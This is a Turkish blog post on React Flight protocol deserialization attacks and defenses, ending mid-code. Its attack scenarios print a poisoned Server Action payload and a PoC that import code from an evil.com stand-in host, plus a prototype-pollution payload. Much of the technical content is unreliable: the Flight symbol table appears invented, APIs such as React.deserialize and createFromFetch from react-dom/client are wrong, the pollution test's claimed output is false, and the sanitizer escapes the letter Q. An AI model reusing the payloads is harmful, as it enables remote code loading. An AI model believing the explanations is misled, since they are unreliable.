Exploring Infinite Possibilities on FrontEnd 🚀
Burak Sağlık
Search...

Thu Sep 24 2026

React Flight Protokolü Güvenliği: Deserialization Saldırıları ve Savunma Stratejileri

React Flight Protokolü Güvenliği: Deserialization Saldırıları ve Savunma Stratejileri

🎯 Giriş: React Flight Protokolü Neden Bu Kadar Önemli?

Hadi beraber keşfedelim 🚀. React Server Components (RSC) dünyasına adım attığımızda, göreceğimiz ilk şey Flight Protokolü başlığı altında saklanan bir mekanizma. Bu protokol, basit bir veri aktarım formatı gibi gözükmüyor. Aslında sunucu ile istemci arasında bir kontrat ve güven sınırı oluşturuyor.

🎯 Olayın Özü

  • Sunucu ve istemci arasında tam olarak neyin geçeceğine dair bir anlaşma.
  • Her iki tarafın da neyi güvenle işleyebileceğini bildiği bir güven duvarı.

🔍 Konumuz Neler?

  • Deserializasyon güvenliği – güvenli parsing ve yürütme.
  • Sunucu tarafındaki saldırı vektörleri – örneğin, kötü amaçlı JSON.
  • İstemci tarafındaki savunma kodları – güvenli bir işleyiş sağlayacak önlemler.

Sunucu-İstemci İletişim Kurarken Neden Flight Protokolü Önemli?

  • Güvenlik: Yalnızca izin verilen react düğümlerini almanızı sağlar.
  • Performans: Serializasyon işlemini ortadan kaldırarak, daha hızlı sayfa yüklenmeleri mümkün kılar.
  • Tutarsızlık Önleme: Her iki tarafın da aynı veri yapısını kullanmasını sağlar.
  • Hata Güvenliği: İzin verilmeyen veya bozulmuş mesajları early-reject eder.

Saldırganlar Bu Protokolü Kullanarak Ne Yapmaya Çalışabilir?

  • Karşı Tarafı Zehirleme: Kötü amaçlı JSON gömerek deseriletim sırasında kod çalıştırmayı hedefler.
  • Kimlik Taklidi: Sunucu gibi görünerek özel verileri çalmaya çalışır.
  • Durum Karartısı: Özel bir durumumuzu geri bildirimden mahrum bırakacak şekilde manipüle eder.

Nasıl Savunma Kodu Yazabiliriz?

  • Bağlam Sahibi Saldırıları Önleme: Validasyonları API katmanına ekleyin.
  • İzin Kontrolü: Her mesaj üzerinde kontrolü yaparak json.parse işlemini güvenli hale getirin.
  • Paralı Durumlar: Ciddi sorunlar karşısında prosesi durdurun ve bir hata dönün.
{
  "type": "react-node",
  "key": "unique-key",
  "props": {
    "children": "Merhaba Dünya!"
  },
  "env": "production"
}

Bu sayede ne oluyor? ✅ Her mesaj, tek bir kaynaklı güvenilir bir React düğümü mü yazıyor, böylece istemci tarafında kod enjeksiyonunu önlerken esnekliği koruyoruz.


🔁 Flight Protokolü Derinlemesi: Serialization ve Deserialization Nasıl Çalışır?

Hazırsan Flight protokolünün wire format’ına yakından bakalım 🚀. React Server Components (RSC) sunucuda render edildiğinde, component ağacı bir JSON‑benzeri akışa (stream) dönüştürülür. Bu işlem serialization; tarayıcıda ise createFromFetch / createServerReference ile bu akış tekrar canlı componentlere çevrilir – bu da deserialization.

🎯 Neden bir özel wire format?

  • Streaming: Sunucu parçalar halinde veri gönderebilir, tarayıcı erken başlayabilir.
  • Referans paylaşımı: Aynı modül veya prop birden fazla yerde kullanılıyorsa, tekrar tekrar göndermek yerine ID ile referans verilir.
  • Fonksiyon referansları: Server‑side fonksiyonları (Server Actions) client’a callable reference olarak taşımak gerekir.

🛠 Özel karakterler ve anlamları

Sembol Anlamı Nerede görürsün?
$ Server reference – bir modül veya fonksiyonun kimliğini belirtir. "$": "./actions/login.server.js"
@ Client reference – client tarafında hydrate edilecek componentin kimliği. "@": "components/Button"
: Chunk delimiter – birden fazla chunk’ı ayırır (stream sınırları). "chunks": ["...:..."]
Q Query/placeholder – lazy‑loaded veya suspense içeren yer tutucular. "Q": "SuspenseBoundary#1"
$L Lazy module – React.lazy ile yüklenecek modül işaretçisi. "$L": "./HeavyComponent"

Kısaca: $ = “sunucudan geliyor”, @ = “istemciye gidiyor”, : = “parça ayırıcı”, Q = “bekleyen yer”, $L = “lazy yüklenecek”.

📦 Basit bir RSC Payload Örneği

Aşağıdaki JSON, App adlı bir server component’ın Flight wire format’ında nasıl göründüğünü gösterir. Gerçek akışta bu tek bir obje değil, newline‑delimited JSON (NDJSON) satırları olarak stream edilir.

{
  "id": "./App.server.js",
  "chunks": [
    "{\"$L\":\"./Header.server.js\"}:",
    "{\"@\":\"components/Navbar\",\"props\":{\"title\":\"Merhaba\"}}:",
    "{\"$\":\"./actions/fetchUser.server.js\",\"args\":[123]}:"
  ],
  "modules": {
    "./App.server.js": {
      "type": "component",
      "export": "default"
    },
    "./Header.server.js": {
      "type": "lazy",
      "export": "default"
    },
    "./actions/fetchUser.server.js": {
      "type": "function",
      "export": "fetchUser"
    }
  }
}

Ne oluyor burada?

  1. id – Giriş noktası (root server component).
  2. chunks – Her satır bir chunk; : ile biter, bu sayede tarayıcı parçaları sırayla işler.
  3. $L – Header lazy yüklenecek, client tarafında React.lazy ile çekilecek.
  4. @ – Navbar client component’i, props ile birlikte hydrate edilecek.
  5. $ – fetchUser server action’ı; client’da createServerReference ile çağrılabilir hale getirilir.
  6. modules – Her modülün meta verisi (tip, export adı) – deserialization sırasında hangi dosyanın ne olduğunu bilmek için.

🔁 Deserialization Akışı (Client Tarafı)

// client entry (app/client.js)
import { createFromFetch } from 'react-dom/client';

const response = await fetch('/rsc-payload');          // Sunucudan stream gelir
const { root } = createFromFetch(response);           // Flight parser devreye girer
root.render(document.getElementById('root'));         // Hydration başlar
  1. createFromFetch – Response body’yi Flight decoder’a verir.
  2. Decoder her chunk’ı parse eder, $, @, $L sembollerine göre:
    • $ → createServerReference ile callable stub oluşturur.
    • @ → Client component’i import eder, props ile hydrate eder.
    • $L → React.lazy wrapper’ı üretir, gerektiğinde chunk yüklenir.
  3. Suspense boundary (Q) varsa, placeholder gösterilir, gerçek chunk gelince swap yapılır.

✅ Özet

  • Serialization: Sunucu component tree → NDJSON chunk stream ($, @, $L, Q, :).
  • Deserialization: createFromFetch + Flight decoder → Client component tree + Server Action stubs.
  • Özel karakterler sayesinde paylaşım, lazy loading ve streaming sorunsuz çalışır.

Hadi şimdi bir sonraki bölümde Server Actions ve use server direktifinin Flight ile nasıl dans ettiğine bakalım 🎉.


❗️ Tehlike Bölgesi: Deserialization Sink'leri Nerede Yaşıyor?

Güvenlik dünyasında sink (hedef/çöp kutusu), dışarıdan gelen verinin tehlikeli bir işleme (ör. eval, new Function, dinamik import) girdiği noktadır. React Flight protokolünde deserialization sırasında bu sink'ler tam olarak güven sınırı (trust boundary) çizgisi üzerinde durur: sunucudan gelen controlled data istemci tarafında kod yürütmeye dönüşebilir.

Flight protokolündeki kritik sink noktaları 🎯

  • createFromFetch – Ağ yanıtını akışla alır ve deserialize pipeline’ına sokar.
  • readNextChunk – Akıştan bir sonraki chunk’ı okur, $ sembolünü gördüğünde modül yükleme tetikler.
  • resolveModule – $ ile başlayan referansları import() veya require ile çözer (bu da aslında eval‑benzeri bir davranıştır).
  • Server Actions referans çözümleme – Action ID’si $ ile geldiğinde, istemci action fonksiyonunu dinamik olarak import eder ve çalıştırır.

Bu noktaların hepsi “sunucudan gelen veri → istemci tarafında kod yürütme” akışını oluşturur. Yani Controlled Data → Dangerous Sink.


Basitleştirilmiş deserialize / readNextChunk mantığı

React kaynak kodunda (veya pseudo‑kod olarak) $ sembolü görüldüğünde ne olduğunu görelim:

function readNextChunk(stream) {
  const chunk = stream.read();
  if (!chunk) return null;

  // Chunk bir string ise ve '$' ile başlıyorsa modül referansıdır
  if (typeof chunk === 'string' && chunk[0] === '$') {
    // 👇 Tehlikeli sink: dinamik import / modül yükleme
    return resolveModule(chunk.slice(1));
  }

  // Normal veri (JSON, metin vb.) → güvenli olarak döndür
  return JSON.parse(chunk);
}

async function resolveModule(moduleId) {
  // Bu nokta trust boundary'dir: sunucu tarafından kontrol edilen ID
  // İstemci tarafında 'import()' çalıştırılır → kod yürütme
  const mod = await import(/* webpackIgnore: true */ moduleId);
  return mod.default ?? mod;
}

Ne oluyor burada?

  1. readNextChunk akıştan gelen her parçayı inceler.
  2. Eğer parça $ ile başlıyorsa, bu bir modül referansı anlamına gelir.
  3. resolveModule çağrılır ve import(moduleId) çalıştırılır.
  4. moduleId sunucudan geldiği için, saldırgan sunucu yanıtını manipüle ederse istendiği herhangi bir modülü yükletebilir (veya kötü niyetli bir paket adı vererek kod enjekte edebilir).

Akış şeması: Controlled Data → Dangerous Sink

Sunucu yanıtı (Flight stream)
        │
        ▼
createFromFetch → readNextChunk
        │
        ├─ Normal JSON → güvenli parse
        │
        └─ "$moduleId" ──► resolveModule(moduleId)
                           │
                           ▼
                     import(moduleId)   ←── TEHLİKELİ SINK (eval‑benzeri)
                           │
                           ▼
                     Modül kodu çalışır (Client side)

Bu nedenle deserialization sink’leri aslında güven sınırıdır: sunucudan gelen veriyi kontrol edemediğimiz bir noktada kod yürütmeye dönüştürürüz. Bu noktalarda doğrulama, allow‑list veya imza kontrolü olmadan herhangi bir $ referansını kabul etmek, RCE (Remote Code Execution) riskini beraberinde getirir. 🚨

Özet:

  • Sink = veri tehlikeli bir API’ye girdiği yer.
  • Flight’te sink’ler: createFromFetch → readNextChunk → resolveModule → Server Action import.
  • Hepsi $ sembolüyle tetiklenir ve dinamik import (eval benzeri) çalıştırır.
  • Bu yüzden sunucudan gelen Flight verisini asla körlemesine güvenmemeli, modül ID’lerini beyaz listeye almalı veya imzalamalıyız. ✅

❗️ Saldırı Senaryosu 1: Zararlı Server Action Referansı Enjeksiyonu (RCE Yol Haritası)

Hazırsan bu senaryoyu adım adım inceleyelim 🎯.
Önce sorun ne?, sonra nasıl kötüye kullanılır?, son olarak ne yapabiliriz? diye gidelim.

1️⃣ Problemin kökeni: Zehirlenmiş veri kaynağı

  • Saldırgan bir veritabanı, log ya da cache girdisini manipüle eder.
  • Bu veri, React Server Components (RSC) akışında Flight payload olarak istemciye gönderilir.
  • Payload içinde $ işaretiyle başlayan bir server reference stringi yer alır.
  • İstemci bu payload’ı createFromFetch ile işlerken resolveServerReference fonksiyonu tetiklenir.
  • Referans çözümleme sırasında saldırganın kontrolündeki bir modül yolu (veya import()) çalıştırılır → RCE ya da hassas veri sızması olur.

Kısaca: Sunucu “güvenli” sanılan bir string gönderir, istemci bunu kod olarak yürütür. Bu bir gadget chain (zincirleme exploit) örneğidir.


2️⃣ Zehirlenmiş sunucu yanıtı (Flight payload örneği)

{
  "root": {
    "type": "ServerAction",
    "id": "$A1B2C3",
    "payload": {
      "action": "$import('http://evil.com/malicious-module')"
    }
  },
  "references": {
    "$A1B2C3": {
      "module": "http://evil.com/malicious-module",
      "export": "default"
    }
  }
}

Ne oluyor burada?

  • payload.action alanı $ ile başlıyor → React bu değeri bir server reference olarak algılar.
  • references kısmında atacak modülün tam URL’si yer alıyor.
  • İstemci bu JSON’ı createFromFetch ile parse ettiğinde resolveServerReference dinamik import yapar.

3️⃣ İstemci tarafı exploit PoC (Node.js / Browser konsolu)

// 🛠 Basit bir simulate: createFromFetch yerine doğrudan resolveServerReference çağırıyoruz
async function exploit() {
  // Zehirlenmiş payload (normalde network'ten gelir)
  const poisonedPayload = {
    action: "$import('http://evil.com/malicious-module')"
  };

  // React'in iç fonksiyonu (örnek amaçlı basitleştirilmiş)
  async function resolveServerReference(ref) {
    // ref örn: "$import('http://evil.com/malicious-module')"
    if (ref.startsWith('$import(')) {
      const url = ref.slice(8, -1); // "$import('" ve "')" kırpılır
      console.log('⚡️ Dinamik import tetikleniyor →', url);
      // Gerçek ortamda: return import(url);
      // PoC için sadece loglıyoruz:
      return { malicious: true, source: url };
    }
    throw new Error('Bilinmeyen referans');
  }

  // Saldırıyı çalıştır
  const result = await resolveServerReference(poisonedPayload.action);
  console.log('✅ Exploit sonucu:', result);
}

exploit().catch(console.error);

Nasıl çalışıyor?

  1. poisonedPayload.action string’i $import(...) formatındadır.
  2. resolveServerReference bu prefix’i tanır ve import(url) çağrısı yapar.
  3. Saldırganın barındırdığı modül sunucu/istemci ortamında kod yürütür → RCE.
  4. Eğer modül process.env okuyup dışarı gönderirse → hassas veri sızması.

4️⃣ Gadget Chain mantığı (basitleştirilmiş)

  • Girdi → Zehirlenmiş string ($import(...))
  • Parser → createFromFetch → resolveServerReference
  • Sink → Dinamik import() (kod yürütme)
  • Etki → Saldırgan kodunu çalıştırma / veri çalma

Özet: Güvenilmeyen veri referans çözümleyicide kod olarak değerlendiriliyorsa, zincir tamamlanır. Bu yüzden server reference stringlerini asla kullanıcı kontrolünde bırakmamalıyız.


5️⃣ Korunma ipuçları ✅

  • Allow‑list yaklaşımlı bir referans çözümleyici yazın (sadece bilinen modüller).
  • Gelen payload’ı schema doğrulaması (Zod, Yup…) ile kontrol edin.
  • resolveServerReference içine sandbox / CSP koyun.
  • Sunucu tarafında output encoding ve content‑type başlıklarını sıkı tutun.

Sonuç: Bu senaryo, RSC’in Flight protokolündeki server reference mekanizmasının yanlış kullanıldığında nasıl bir RCE yol haritası oluşturabileceğini gösterir. Kodunuza “güvenilir mi?” diye sormaya alışın 🚀.


❗️ Saldırı Senaryosu 2: Prototype Pollution ile Deserialization Bypass

Flight format’ındaki @ (ID referansı) ve : (map/set) yapıları, eğer doğrudan Object.prototype’ye yazma izni veriyorsa, bir saldırgan Prototype Pollution açığına kapı aralar 🚪.
Basitçe: payload’ın içine __proto__ ya da constructor.prototype enjekte ederek, global Object davranışını bozabilir ve sonrasında gelen JSON.parse, React’ın cloneDeep benzeri işlemleri manipüle edebilirsiniz 🎯.

Neden tehlikeli? 🤔

  • DoS (Servis Reddi) → Polluted prototype, tüm nesnelerin davranışını değiştirir → uygulama çöker veya sonsuz döngüye girer ⛔
  • Mantık Bypass → Yetkilendirme kontrolleri, feature flag’ler vb. prototype üzerinden geçirilirse atlatılabilir ✅

🎒 Flight stream örneği (JSON) – Prototype Pollution payload’ı

{
  "root": {
    "@1": { "type": "User", "name": "legit" },
    "@2": { "__proto__": { "polluted": true } },
    "ref": "@2"
  }
}

Ne oluyor burada?

  • @2 nesnesi __proto__ anahtarını taşıyor.
  • Deserialization sırasında Flight parser’ı bu anahtarı Object.prototype’ye yazmaya çalışır.
  • Başarılı olursa her yerde Object.prototype.polluted === true olur.

🛠 Basit test kodu – Tarayıcı konsolunda kanıt

// Flight payload'ını simüle eden basit bir deserialize fonksiyonu
function deserializeFlight(payload) {
  // Gerçek Flight parser'ı daha karmaşıktır; burada sadece JSON.parse + basit referans çözümü var
  const obj = JSON.parse(payload);
  // @ referanslarını çöz (basitçe)
  function resolve(o) {
    if (Array.isArray(o)) return o.map(resolve);
    if (o && typeof o === 'object') {
      for (const k of Object.keys(o)) {
        if (k.startsWith('@')) continue; // ID'leri atla
        o[k] = resolve(o[k]);
      }
    }
    return o;
  }
  return resolve(obj);
}

// Payload string'i (yukarıdaki JSON'ın string hali)
const payload = `{
  "root": {
    "@1": { "type": "User", "name": "legit" },
    "@2": { "__proto__": { "polluted": true } },
    "ref": "@2"
  }
}`;

deserializeFlight(payload);

// Kontrol
console.log('Object.prototype.polluted =', Object.prototype.polluted); // true yazmalı

Çıktı bekleniyor:

Object.prototype.polluted = true

Özet 🎯

  • Flight stream’de __proto__ / constructor.prototype alanlarına izin vermek, global prototype’ı kirletir.
  • Bu kirletme, sonraki JSON.parse, React cloneDeep, Redux serializer vb. her yerde beklenmedik davranış yaratır.
  • Genelde DoS veya mantık bypass ile sonuçlanır; bu yüzden payload’ı temizlemek / prototype yazma engellemek kritik ❗️.

Küçük bir hatırlatma: Production’da Flight verisini Object.create(null) tabanlı bir map’te parse edip, __proto__/constructor.prototype anahtarlarını reddetmek en güvenli yol 🚀.


🛠 Savunma Stratejisi 1: Güvenli Deserialization Wrapper Yazmak

Hazırsan bu konuyu derinlemesine inceleyelim. React Server Components (RSC) payload'ını deserialize ederken hiçbir zaman ham veriyi güvenemezsiniz. Sunucudan gelen her bayt, bir saldırgan tarafından manipüle edilmiş olabilir. Bu yüzden kod seviyesinde ilk savunma hattımız: kendi safeDeserialize wrapper'ımızı yazmak 🛡️

Ne oluyor burada? 🤔

React'in dahili deserialize fonksiyonu (veya createFromFetch öncesinde stream'i intercept ederek) gelen payload'u Allowlist (İzin Listesi) mantığıyla validate etmemiz gerekiyor. Sadece:

  • Beklenen component'lerin (component manifest'i baz alarak)
  • Server Action'ların

yüklenmesine izin veren bir middleware mantığı kuracağız. TypeScript'in type guard gücünü kullanarak compile-time ve runtime güvenliğini bir arada sağlayacağız ✅


Manifest yapısını tanıyalım 📋

Önce component manifest'imizin nasıl göründüğünü belirleyelim. Bu, derleme zamanında üretilen, production'a deploy edilen statik bir JSON dosyası olacak:

// types/manifest.ts
export interface ComponentManifest {
  components: Record<string, ComponentEntry>;
  serverActions: Record<string, ServerActionEntry>;
}

export interface ComponentEntry {
  id: string;           // Örn: "app/dashboard/Page#Page"
  name: string;         // Örn: "Page"
  path: string;         // Örn: "app/dashboard/Page.tsx"
  exportedNames: string[]; // ['default', 'Metadata']
}

export interface ServerActionEntry {
  id: string;           // Örn: "app/actions/submitForm#submitForm"
  name: string;         // Örn: "submitForm"
  path: string;         // Örn: "app/actions/submitForm.ts"
}

Bu sayede ne oluyor? Manifest, "hangi component'ler ve action'lar meşru" bilgisini tutar. Runtime'da payload'daki $ referanslarını bu listeye karşı kontrol ederiz. Listede yoksa → şüpheli ⛔


Type Guard'lar: Compile-time güvenlik 🔒

Önce payload yapısını tanımlayıp, type guard'larımızı yazalım. Bu sayede TypeScript bize "bu payload güvenli mi?" sorusuna derleme anında cevap verebilecek:

// lib/safe-deserialize/guards.ts
import type { ComponentManifest } from '@/types/manifest';

/** RSC payload'daki bir node'un baz tipi */
export interface RSCNode {
  $: string;  // Referans ID'si (manifest'teki id ile eşleşmeli)
  // ... diğer alanlar (props, children, vb.)
}

/** Payload'un kök yapısı */
export interface RSCPayload {
  roots: RSCNode[];
  // Diğer alanlar: modules, actions, vb.
}

/** Manifest'te kayıtlı bir component mi? */
export function isAllowedComponent(
  node: RSCNode,
  manifest: ComponentManifest
): node is RSCNode & { $: keyof ComponentManifest['components'] } {
  return node.$ in manifest.components;
}

/** Manifest'te kayıtlı bir Server Action mı? */
export function isAllowedServerAction(
  node: RSCNode,
  manifest: ComponentManifest
): node is RSCNode & { $: keyof ComponentManifest['serverActions'] } {
  return node.$ in manifest.serverActions;
}

Nasıl çalışıyor? isAllowedComponent ve isAllowedServerAction fonksiyonları TypeScript'e: "Eğer bu fonksiyon true dönerse, node.$ kesinlikle manifest'te kayıtlı bir key'dir" der. Bu da narrowing sağlar — sonraki kodda node.$ tip güvenliğini kullanabiliriz 🎯


Ana fonksiyon: safeDeserialize 🛠

Şimdi asıl kahramanımızı yazalım. Bu fonksiyon:

  1. Payload stream'ini parse eder
  2. Her $ referansını manifest'e karşı kontrol eder
  3. Şüpheli herhangi bir şey görürse SecurityError fırlatır
// lib/safe-deserialize/index.ts
import type { ComponentManifest, RSCPayload, RSCNode } from '@/types/manifest';
import { isAllowedComponent, isAllowedServerAction } from './guards';

/** Güvenlik ihlali durumunda fırlatılacak özel hata */
export class SecurityError extends Error {
  constructor(
    message: string,
    public readonly code: 'UNKNOWN_COMPONENT' | 'UNKNOWN_ACTION' | 'MALFORMED_PAYLOAD',
    public readonly suspiciousRef?: string
  ) {
    super(message);
    this.name = 'SecurityError';
  }
}

/**
 * Güvenli deserialize wrapper'ı
 * @param payload - Ham RSC payload (JSON string veya parsed object)
 * @param manifest - Derleme zamanında üretilen component manifest'i
 * @returns Validate edilmiş, güvenli RSCPayload
 * @throws {SecurityError} Payload manifest'te olmayan referans içeriyorsa
 */
export function safeDeserialize(
  payload: string | RSCPayload,
  manifest: ComponentManifest
): RSCPayload {
  // 1️⃣ String ise parse et (stream'dan geliyorsa burası sizin parse logic'iniz olacak)
  const parsed: RSCPayload = typeof payload === 'string'
    ? JSON.parse(payload)
    : payload;

  // 2️⃣ Temel yapı kontrolü — malformed payload koruması
  if (!parsed || !Array.isArray(parsed.roots)) {
    throw new SecurityError(
      'Geçersiz payload yapısı: "roots" dizisi eksik veya bozuk',
      'MALFORMED_PAYLOAD'
    );
  }

  // 3️⃣ Tüm node'ları recursive olarak tara ve validate et
  const visited = new Set<string>(); // Circular ref koruması 🔁

  function validateNode(node: unknown, path: string[] = []): void {
    // Primitive değerleri atla
    if (node === null || typeof node !== 'object') return;

    const obj = node as Record<string, unknown>;

    // Circular reference kontrolü
    const nodeId = JSON.stringify(node); // Basit bir fingerprint
    if (visited.has(nodeId)) return;
    visited.add(nodeId);

    // $ referansı var mı? 🎯
    if ('$' in obj && typeof obj.$ === 'string') {
      const ref = obj.$ as string;
      const currentPath = [...path, ref].join(' > ');

      // Component mi, Action mı? Manifest'e bak 🔍
      const isComponent = isAllowedComponent(obj as RSCNode, manifest);
      const isAction = isAllowedServerAction(obj as RSCNode, manifest);

      if (!isComponent && !isAction) {
        // ⛔ MANIFEST'TE YOK → SALDIRI OLASILIĞI
        throw new SecurityError(
          `İzinsiz referans tespit edildi: "${ref}" (path: ${currentPath})`,
          isComponent ? 'UNKNOWN_COMPONENT' : 'UNKNOWN_ACTION',
          ref
        );
      }

      // ✅ İzinli — tip daraltma sayesinde obj.$ artık manifest key'i olarak tip güvenli
    }

    // Children/props içine recursive in
    for (const [key, value] of Object.entries(obj)) {
      if (key === '$') continue; // Zaten kontrol ettik
      if (Array.isArray(value)) {
        value.forEach((v, i) => validateNode(v, [...path, key, String(i)]));
      } else if (value !== null && typeof value === 'object') {
        validateNode(value, [...path, key]);
      }
    }
  }

  // 4️⃣ Her root node'u validate et
  parsed.roots.forEach((root, index) => {
    validateNode(root, [`root[${index}]`]);
  });

  // 5️⃣ Her şey yolunda — güvenli payload'u döndür ✅
  return parsed;
}

Bu kod ne yapıyor? Özetle 📝

Adım Ne Oluyor? Neden Önemli?
Parse String payload'ı JSON'a çevirir Stream'den geliyorsa sizin parser'ınızı buraya koyun
Yapı kontrolü roots dizisi var mı? Malformed payload'ları erken yakalar ⛔
Recursive tarama Her node'u gezerek $ arar Derinlemesine nested component'leri de korur 🔁
Manifest kontrolü $ ref'i manifest'te var mı? Allowlist mantığı — sadece bilinen component/action yüklenir ✅
Type guard kullanımı isAllowedComponent/Action TypeScript'in narrowing'i sayesinde tip güvenliği 🎯
SecurityError Şüpheli ref'te fırlatır Hata kodları ile loglama/monitoring kolaylaşır 📊

Kullanım örneği 💡

// app/rsc-loader.ts
import { safeDeserialize, SecurityError } from '@/lib/safe-deserialize';
import manifest from '@/manifest.json'; // Build-time generated

async function loadRSCPayload(fetchResponse: Response) {
  const rawPayload = await fetchResponse.text(); // Stream'i ham al

  try {
    const safePayload = safeDeserialize(rawPayload, manifest);
    // ✅ Artık React'in deserialize'ine güvenle verebilirsiniz
    return React.deserialize(safePayload);
  } catch (err) {
    if (err instanceof SecurityError) {
      // 📝 Logla, alert at, metrik gönder
      securityLogger.warn('RSC payload reddedildi', {
        code: err.code,
        suspiciousRef: err.suspiciousRef,
        userAgent: headers().get('user-agent'),
      });
    }
    throw err; // Üste bubbling — error boundary yakalasın
  }
}
---

### Son söz 🎯

Bu wrapper, **saldırı yüzeyini minimumda tutar**: manifest'te olmayan herhangi bir component veya action asla render edilmez. TypeScript type guard'ları sayesinde hem compile-time hem de runtime'da güvenliysiniz.

**Bir sonraki bölümde** bu wrapper'ı `createFromFetch` veya custom stream reader ile nasıl entegre edeceğimizi, ve streaming sırasında **chunk-by-chunk** validasyon yaparak memory verimliliğini nasıl artıracağımızı göreceğiz 🚀

Hadi devam edelim!

---

##  🛠 Savunma Stratejisi 2: Content Security Policy (CSP) ve Trusted Types Entegrasyonu

Kod seviyesinde doğrulama yaptık, **nonce** ekledik, hash'ler hesapladık. Peki ya tarayıcı kendisi bizim için bir güvenlik kapısı kurarsa? 🎯 İşte tam bu noktada **CSP** ve **Trusted Types** devreye giriyor. Bu, "Defense in Depth" (Derinlikte Savunma) zihniyetinin tarayıcı katmanındaki en somut örneği.

Flight protokolü React 19 / Next.js 14+'te sunucu bileşenlerini **stream** ederken, tarayıcıya dinamik `<script type="module">` etiketleri enjekte eder. Bu script'ler `createScriptURL` veya `createScript` sink'lerinden geçer. Eğer bir saldırgan bu URL'leri manipüle ederse (örneğin `https://evil.com/payload.js` enjekte ederse), CSP olmadan tarayıcı mutlu mutlu indirip çalıştırır. ❗️

### CSP: İlk Hat Savunması 🛡️

`script-src` direktifi ile **hangijen kaynaklardan script yüklenebileceğini** tarayıcıya söylüyoruz. Flight'in ürettiği inline modüller için `'strict-dynamic'` + nonce kombinasyonu en sağlıklısıdır.

**Örnek: `next.config.js` içinde CSP header'ı**

```javascript
// next.config.js
const cspHeader = `
  default-src 'self';
  script-src 'self' 'strict-dynamic' 'nonce-{RUNTIME_NONCE}';
  trusted-types react-flight;
  base-uri 'self';
  form-action 'self';
`.replace(/\s{2,}/g, ' ').trim()

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: cspHeader,
          },
        ],
      },
    ]
  },
}

Ne oluyor burada?

  • 'strict-dynamic' → nonce'lu script'lerin kendi yarattığı script'lere güvenmesini sağlar (Flight'in stream ettiği modüller için kritik).
  • trusted-types react-flight → Tarayıcıya "sadece react-flight adlı policy'den geçen URL'leri kabul et" der. Bu ikinci hat savunmamız. ✅

Not: Vercel'de vercel.json ile de aynı header'ı verebilirsin. Nginx'te add_header Content-Security-Policy "..."; şeklinde.


Trusted Types: Sink Seviyesinde Kilit 🔒

CSP kaynakları kısıtlar, ama zaten izinli bir kaynaktan (örneğin CDN'nizden) gelen kötü niyetli bir URL'i engellemez. Trusted Types tam bu boşluğu doldurur: createScriptURL sink'ine düşen her string'i bir policy'den geçirmek zorundasın.

Tarayıcı konsolunda şu hatayı görürsen politya yok demektir:

Failed to set a 'script' because it violates the Trusted Types policy.

Browser-side policy tanımı (örneğin app/providers/TrustedTypesProvider.tsx)

'use client'

import { useEffect } from 'react'

export function TrustedTypesProvider({ children }: { children: React.ReactNode }) {
  useEffect(() => {
    if (typeof window === 'undefined' || !window.trustedTypes) return

    // Policy zaten varsa (HMR vb.) tekrar oluşturma
    if (window.trustedTypes.getPolicy('react-flight')) return

    window.trustedTypes.createPolicy('react-flight', {
      // Flight createScriptURL sink'ine düşen her URL buradan geçer
      createScriptURL: (url: string) => {
        // 🔍 Kendi validasyon mantığını yaz
        if (!isAllowedFlightScript(url)) {
          throw new Error(`TrustedTypes blokladı: ${url}`)
        }
        return url // güvenliyse aynen döndür
      },
      // createScript (inline script) için de aynı mantık
      createScript: (script: string) => {
        if (!isAllowedInlineScript(script)) {
          throw new Error('Inline script policy reddetti')
        }
        return script
      },
    })
  }, [])

  return <>{children}</>
}

// Basit allow-list örneği — production'da çok daha katı olmalı
function isAllowedFlightScript(url: string): boolean {
  try {
    const u = new URL(url, window.location.origin)
    // Sadece kendi origin'imizden veya onaylı CDN'lerden gelmesine izin ver
    return u.origin === window.location.origin || u.hostname === 'cdn.example.com'
  } catch {
    return false
  }
}

function isAllowedInlineScript(script: string): boolean {
  // Flight inline script'leri genellikle `self.__next_f.push(...)` formatındadır
  return script.startsWith('self.__next_f.push(')
}

Bu kod ne yapar?

  1. createPolicy('react-flight', ...) → CSP header'ındaki trusted-types react-flight ile birebir eşleşir.
  2. createScriptURL → Flight'in modül URL'leri bu fonksiyondan geçer. Burada throw atarsan tarayıcı script'i YÜKLEMEZ. ⛔
  3. createScript → Eğer Flight inline script enjekte ederse (nadiren) bu sink devreye girer.

Neden Bu "Defense in Depth"? 🧅

Katman Ne Korur? Atlatılırsa Ne Olur?
Input Validation / Sanitization Kötü veri girmez Saldırgan payload üretir
Nonce + Hash (CSP) Sadece bizim script'lerimiz çalışır CDN hacklenirse veya supply-chain atak olursa?
Trusted Types Sink'e düşen her URL/string policy'den geçer Policy bypass edilirse (çok zordur) CSP hala durdurur

Özetle: CSP kaynağı kısıtlar, Trusted Types sink'e ne girdiğini denetler. İkisi bir arada = katmanlı zırh. 🛡️

Pratik ipucu: Geliştirme ortamında Content-Security-Policy-Report-Only header'ı ile başla. Konsoldaki raporları izle, policy'yi daralt, sonra enforce moduna al. Bu sayede production'u bozmazsın. 🚀


🛠 Savunma Stratejisi 3: Sunucu Tarafı Girdi Validasyonu ve Output Encoding

Kullanıcı verilerini component prop'u olarak sunucuya taşıdığımızda, bu verilerin doğrudan Flight payload'ına yazılması bir tehdit oluşturabilir. Flight protokolü özel karakterleri ($, @, :, Q) komut nosyonları olarak yorumlar. Bunlar hangi payload'ın komut olduğunu gösterir, bu yüzden onları kontrol altına almazsak kolayca eskalasyonlu komutlara açılırız.

Pratik bir örnek üzerinden anlayalım:

Sorun

// pages/profile.js  (Next.js Server Component)
export default function Profile({ bio }) {
  return <div>{bio}</div>;
}

Eğer bio değişkeni https://example.com/api/user endpoint'inden gelen bir JSON ve burada

{
  "bio": "Ben $Q@atak!"
}

değerini içeriyorsa, bio doğrudan <Profile bio={bio} /> komponentine aktarılır ve Flight payload'ına yazılır. Harf $Q@ Flight'e özel komut kodları olarak hesaplanır ve istenmeyen bir yüklemeye izin veririz.

Çözüm: sanitizeForFlight yardımcı fonksiyonu

Gelen string'i uyumluluğa getirir, bunların hepsini unicode escape karışımına çevirir.

/**
 * `sanitizeForFlight(input: string): string`
 * Flight protokolü tarafından komut olarak yorumlanabilecek karakterleri unicode escape sekanslarına dönüştürür.
 */
function sanitizeForFlight(input: string): string {
  return input
    // Flight'e özgü özel karakterler
    .replace(/\$/g, '\\u0024') // $ → \u0024
    .replace(/@/g, '\\u0040') // @ → \u0040
    .replace(/:/g, '\\u003A') // : → \u003A
    .replace(/Q/g, '\\u0051'); // Q → \u0051
}

Kullanım

// pages/profile.js
import { sanitizeForFlight } from '@/lib/sanitize';

export default function Profile({ bio }) {
